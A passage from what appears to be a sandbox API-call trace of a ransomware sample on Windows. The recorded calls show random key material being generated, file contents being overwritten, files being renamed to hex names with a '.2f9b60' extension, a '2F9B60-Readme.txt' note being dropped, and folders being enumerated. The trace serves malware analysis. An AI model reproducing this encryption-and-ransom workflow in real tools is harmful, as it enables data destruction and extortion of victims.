_Dest=0x1b858824, _Format="%c%c" | out: _Dest="d6") returned 2 [0117.061] sprintf (in: _Dest=0x1b858826, _Format="%c%c" | out: _Dest="08") returned 2 [0117.061] sprintf (in: _Dest=0x1b858828, _Format="%c%c" | out: _Dest="19") returned 2 [0117.061] sprintf (in: _Dest=0x1b85882a, _Format="%c%c" | out: _Dest="10") returned 2 [0117.061] sprintf (in: _Dest=0x1b85882c, _Format="%c%c" | out: _Dest="51") returned 2 [0117.061] sprintf (in: _Dest=0x1b85882e, _Format="%c%c" | out: _Dest="0c") returned 2 [0117.061] sprintf (in: _Dest=0x1b858830, _Format="%c%c" | out: _Dest="5d") returned 2 [0117.061] sprintf (in: _Dest=0x1b858832, _Format="%c%c" | out: _Dest="2d") returned 2 [0117.061] sprintf (in: _Dest=0x1b858834, _Format="%c%c" | out: _Dest="32") returned 2 [0117.061] sprintf (in: _Dest=0x1b858836, _Format="%c%c" | out: _Dest="2f") returned 2 [0117.061] sprintf (in: _Dest=0x1b858838, _Format="%c%c" | out: _Dest="e1") returned 2 [0117.061] sprintf (in: _Dest=0x1b85883a, _Format="%c%c" | out: _Dest="84") returned 2 [0117.061] sprintf (in: _Dest=0x1b85883c, _Format="%c%c" | out: _Dest="89") returned 2 [0117.061] sprintf (in: _Dest=0x1b85883e, _Format="%c%c" | out: _Dest="82") returned 2 [0117.061] RtlInitAnsiString (in: DestinationString=0x3b8dfe08, SourceString="a3f95748029ca9abbc11d8d246e80a8ca50961e2732d9a19eed3d6081910510c5d2d322fe1848982" | out: DestinationString="a3f95748029ca9abbc11d8d246e80a8ca50961e2732d9a19eed3d6081910510c5d2d322fe1848982") [0117.061] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b8dfdd8, SourceString="a3f95748029ca9abbc11d8d246e80a8ca50961e2732d9a19eed3d6081910510c5d2d322fe1848982", AllocateDestinationString=1 | out: DestinationString="a3f95748029ca9abbc11d8d246e80a8ca50961e2732d9a19eed3d6081910510c5d2d322fe1848982") returned 0x0 [0117.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050cbe0 [0117.061] wcscat (in: _Dest=0x1b85ca80, _Source="a3f95748029ca9abbc11" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\a3f95748029ca9abbc11") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\a3f95748029ca9abbc11" [0117.061] wcscat (in: _Dest=0x1b85ca80, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\a3f95748029ca9abbc11.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\a3f95748029ca9abbc11.2f9b60" [0117.061] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\a3f95748029ca9abbc11.2f9b60", NtPathName=0x3b8dfdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\a3f95748029ca9abbc11.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x2050bf80 [0117.062] NtSetInformationFile (FileHandle=0x1660, IoStatusBlock=0x3b8dfe50, FileInformation=0x2050bf80, Length=0xa4, FileInformationClass=0xa) returned 0x0 [0117.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bf80) returned 1 [0117.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291230) returned 1 [0117.064] NtQueryInformationFile (in: FileHandle=0x1660, IoStatusBlock=0x3b8dfe18, FileInformation=0x3b8dfe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b8dfe18, FileInformation=0x3b8dfe28) returned 0x0 [0117.064] NtSetInformationFile (FileHandle=0x1660, IoStatusBlock=0x3b8dfe18, FileInformation=0x3b8dfe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ca80) returned 1 [0117.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0117.066] FlushFileBuffers (hFile=0x1660) returned 1 [0117.068] CloseHandle (hObject=0x1660) returned 1 [0117.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b869bc0 [0117.069] wcscpy (in: _Dest=0x1b869bc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0117.069] wcscat (in: _Dest=0x1b869bc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\2F9B60-Readme.txt" [0117.069] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\2f9b60-readme.txt")) returned 0x20 [0117.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0117.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 Thread: id = 1303 os_tid = 0xe68 [0116.760] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms")) returned 0x23 [0116.760] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x20) returned 1 [0117.024] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d8 [0117.025] GetFileSizeEx (in: hFile=0x14d8, lpFileSize=0x241af9c0 | out: lpFileSize=0x241af9c0*=248) returned 1 [0117.025] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.025] ReadFile (in: hFile=0x14d8, lpBuffer=0x241af940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x241af988, lpOverlapped=0x0 | out: lpBuffer=0x241af940*, lpNumberOfBytesRead=0x241af988*=0x4, lpOverlapped=0x0) returned 1 [0117.026] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0117.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b80 [0117.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0117.026] NtQuerySystemTime (in: CurrentTime=0x241af880 | out: CurrentTime=0x241af880*=132462177224674000) returned 0x0 [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x48a0fc4 [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x7c157838 [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x36416537 [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x11ec2c9b [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x448853fd [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x2dd5ecc4 [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x74f9bab0 [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x5e3677b0 [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x2758be6b [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x12884593 [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x3c8a50dd [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x77e4a82c [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x4e7095c0 [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x1776381 [0117.026] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x35bb83dc [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x90f6393 [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x4670df53 [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x64602ead [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0xb8ed7b3 [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x4f8eb7e7 [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x14b2236b [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x2301a5ca [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x182ce501 [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x30f5105f [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x71633016 [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0xc104be4 [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x9bb17ee [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x56a90425 [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x148b789e [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x4e45bd00 [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x7c75c41f [0117.027] RtlRandomEx (in: Seed=0x241af870 | out: Seed=0x241af870) returned 0x11b50f64 [0117.034] ReadFile (in: hFile=0x14d8, lpBuffer=0x41bc0d80, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x241af870, lpOverlapped=0x0 | out: lpBuffer=0x41bc0d80*, lpNumberOfBytesRead=0x241af870*=0xf8, lpOverlapped=0x0) returned 1 [0117.034] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.034] WriteFile (in: hFile=0x14d8, lpBuffer=0x41bc4990*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x241af874, lpOverlapped=0x0 | out: lpBuffer=0x41bc4990*, lpNumberOfBytesWritten=0x241af874*=0xf8, lpOverlapped=0x0) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a30 [0117.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a00 [0117.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a00) returned 1 [0117.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc4990) returned 1 [0117.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc0d80) returned 1 [0117.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0117.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82c710 [0117.045] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.045] WriteFile (in: hFile=0x14d8, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x241af990, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x241af990*=0x128, lpOverlapped=0x0) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0117.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a60 [0117.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a60) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8180 [0117.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a60 [0117.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a90 [0117.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a90) returned 1 [0117.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0117.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b869bc0 [0117.047] sprintf (in: _Dest=0x1b869bc0, _Format="%c%c" | out: _Dest="35") returned 2 [0117.047] sprintf (in: _Dest=0x1b869bc2, _Format="%c%c" | out: _Dest="7a") returned 2 [0117.047] sprintf (in: _Dest=0x1b869bc4, _Format="%c%c" | out: _Dest="ee") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bc6, _Format="%c%c" | out: _Dest="eb") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bc8, _Format="%c%c" | out: _Dest="0c") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bca, _Format="%c%c" | out: _Dest="34") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bcc, _Format="%c%c" | out: _Dest="f9") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bce, _Format="%c%c" | out: _Dest="91") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bd0, _Format="%c%c" | out: _Dest="36") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bd2, _Format="%c%c" | out: _Dest="1f") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bd4, _Format="%c%c" | out: _Dest="fa") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bd6, _Format="%c%c" | out: _Dest="0a") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bd8, _Format="%c%c" | out: _Dest="98") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bda, _Format="%c%c" | out: _Dest="b5") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bdc, _Format="%c%c" | out: _Dest="ef") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bde, _Format="%c%c" | out: _Dest="10") returned 2 [0117.048] sprintf (in: _Dest=0x1b869be0, _Format="%c%c" | out: _Dest="ec") returned 2 [0117.048] sprintf (in: _Dest=0x1b869be2, _Format="%c%c" | out: _Dest="54") returned 2 [0117.048] sprintf (in: _Dest=0x1b869be4, _Format="%c%c" | out: _Dest="f9") returned 2 [0117.048] sprintf (in: _Dest=0x1b869be6, _Format="%c%c" | out: _Dest="f0") returned 2 [0117.048] sprintf (in: _Dest=0x1b869be8, _Format="%c%c" | out: _Dest="44") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bea, _Format="%c%c" | out: _Dest="ce") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bec, _Format="%c%c" | out: _Dest="95") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bee, _Format="%c%c" | out: _Dest="c8") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bf0, _Format="%c%c" | out: _Dest="8d") returned 2 [0117.048] sprintf (in: _Dest=0x1b869bf2, _Format="%c%c" | out: _Dest="fc") returned 2 [0117.049] sprintf (in: _Dest=0x1b869bf4, _Format="%c%c" | out: _Dest="9b") returned 2 [0117.049] sprintf (in: _Dest=0x1b869bf6, _Format="%c%c" | out: _Dest="66") returned 2 [0117.049] sprintf (in: _Dest=0x1b869bf8, _Format="%c%c" | out: _Dest="f5") returned 2 [0117.049] sprintf (in: _Dest=0x1b869bfa, _Format="%c%c" | out: _Dest="41") returned 2 [0117.049] sprintf (in: _Dest=0x1b869bfc, _Format="%c%c" | out: _Dest="b7") returned 2 [0117.049] sprintf (in: _Dest=0x1b869bfe, _Format="%c%c" | out: _Dest="22") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c00, _Format="%c%c" | out: _Dest="2f") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c02, _Format="%c%c" | out: _Dest="0e") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c04, _Format="%c%c" | out: _Dest="c8") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c06, _Format="%c%c" | out: _Dest="49") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c08, _Format="%c%c" | out: _Dest="e7") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c0a, _Format="%c%c" | out: _Dest="2b") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c0c, _Format="%c%c" | out: _Dest="23") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c0e, _Format="%c%c" | out: _Dest="a8") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c10, _Format="%c%c" | out: _Dest="69") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c12, _Format="%c%c" | out: _Dest="0b") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c14, _Format="%c%c" | out: _Dest="14") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c16, _Format="%c%c" | out: _Dest="72") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c18, _Format="%c%c" | out: _Dest="12") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c1a, _Format="%c%c" | out: _Dest="e5") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c1c, _Format="%c%c" | out: _Dest="11") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c1e, _Format="%c%c" | out: _Dest="1f") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c20, _Format="%c%c" | out: _Dest="74") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c22, _Format="%c%c" | out: _Dest="e3") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c24, _Format="%c%c" | out: _Dest="b5") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c26, _Format="%c%c" | out: _Dest="7f") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c28, _Format="%c%c" | out: _Dest="35") returned 2 [0117.049] sprintf (in: _Dest=0x1b869c2a, _Format="%c%c" | out: _Dest="fc") returned 2 [0117.049] RtlInitAnsiString (in: DestinationString=0x241afa08, SourceString="357aeeeb0c34f991361ffa0a98b5ef10ec54f9f044ce95c88dfc9b66f541b7222f0ec849e72b23a8690b147212e5111f74e3b57f35fc" | out: DestinationString="357aeeeb0c34f991361ffa0a98b5ef10ec54f9f044ce95c88dfc9b66f541b7222f0ec849e72b23a8690b147212e5111f74e3b57f35fc") [0117.050] RtlAnsiStringToUnicodeString (in: DestinationString=0x241af9d8, SourceString="357aeeeb0c34f991361ffa0a98b5ef10ec54f9f044ce95c88dfc9b66f541b7222f0ec849e72b23a8690b147212e5111f74e3b57f35fc", AllocateDestinationString=1 | out: DestinationString="357aeeeb0c34f991361ffa0a98b5ef10ec54f9f044ce95c88dfc9b66f541b7222f0ec849e72b23a8690b147212e5111f74e3b57f35fc") returned 0x0 [0117.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b799160 [0117.050] wcscat (in: _Dest=0x1b7adfc0, _Source="357aeeeb0c34f991361ffa0a98b" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\357aeeeb0c34f991361ffa0a98b") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\357aeeeb0c34f991361ffa0a98b" [0117.050] wcscat (in: _Dest=0x1b7adfc0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\357aeeeb0c34f991361ffa0a98b.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\357aeeeb0c34f991361ffa0a98b.2f9b60" [0117.050] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\357aeeeb0c34f991361ffa0a98b.2f9b60", NtPathName=0x241af9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\357aeeeb0c34f991361ffa0a98b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20279970 [0117.050] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x241afa50, FileInformation=0x20279970, Length=0xb2, FileInformationClass=0xa) returned 0x0 [0117.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0117.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291230) returned 1 [0117.052] NtQueryInformationFile (in: FileHandle=0x14d8, IoStatusBlock=0x241afa18, FileInformation=0x241afa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x241afa18, FileInformation=0x241afa28) returned 0x0 [0117.052] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x241afa18, FileInformation=0x241afa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799160) returned 1 [0117.053] FlushFileBuffers (hFile=0x14d8) returned 1 [0117.055] CloseHandle (hObject=0x14d8) returned 1 [0117.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b869bc0 [0117.056] wcscpy (in: _Dest=0x1b869bc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0117.056] wcscat (in: _Dest=0x1b869bc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\2F9B60-Readme.txt" [0117.056] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\2f9b60-readme.txt")) returned 0xffffffff [0117.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14d8 [0117.056] WriteFile (in: hFile=0x14d8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x241af8d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x241af8d0*=0xba9, lpOverlapped=0x0) returned 1 [0117.057] CloseHandle (hObject=0x14d8) returned 1 [0117.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0117.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ca80) returned 1 Thread: id = 1304 os_tid = 0xe6c [0116.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82bf90 [0116.762] wcscpy (in: _Dest=0x1b82bf90, _Source="C:\\Users\\All Users\\Sun\\Java" | out: _Dest="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java" [0116.762] wcscat (in: _Dest=0x1b82bf90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\") returned="C:\\Users\\All Users\\Sun\\Java\\" [0116.762] wcscat (in: _Dest=0x1b82bf90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\*") returned="C:\\Users\\All Users\\Sun\\Java\\*" [0116.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027ddf0 [0116.762] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\*", lpFindFileData=0x2027ddf0 | out: lpFindFileData=0x2027ddf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858610 [0116.762] wcscmp (_String1=".", _String2=".") returned 0 [0116.762] FindNextFileW (in: hFindFile=0x1b858610, lpFindFileData=0x2027ddf0 | out: lpFindFileData=0x2027ddf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.763] wcscmp (_String1="..", _String2=".") returned 1 [0116.763] wcscmp (_String1="..", _String2="..") returned 0 [0116.763] FindNextFileW (in: hFindFile=0x1b858610, lpFindFileData=0x2027ddf0 | out: lpFindFileData=0x2027ddf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf3d4e670, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xf3d4e670, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0116.763] wcscmp (_String1="Java Update", _String2=".") returned 1 [0116.763] wcscmp (_String1="Java Update", _String2="..") returned 1 [0116.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b858e50 [0116.763] wcscpy (in: _Dest=0x1b858e50, _Source="C:\\Users\\All Users\\Sun\\Java" | out: _Dest="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java" [0116.763] wcscat (in: _Dest=0x1b858e50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\") returned="C:\\Users\\All Users\\Sun\\Java\\" [0116.763] wcscat (in: _Dest=0x1b858e50, _Source="Java Update" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\Java Update") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update" [0127.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1970 [0127.771] FindNextFileW (in: hFindFile=0x1b858610, lpFindFileData=0x2027ddf0 | out: lpFindFileData=0x2027ddf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf3d4e670, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xf3d4e670, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0127.771] FindClose (in: 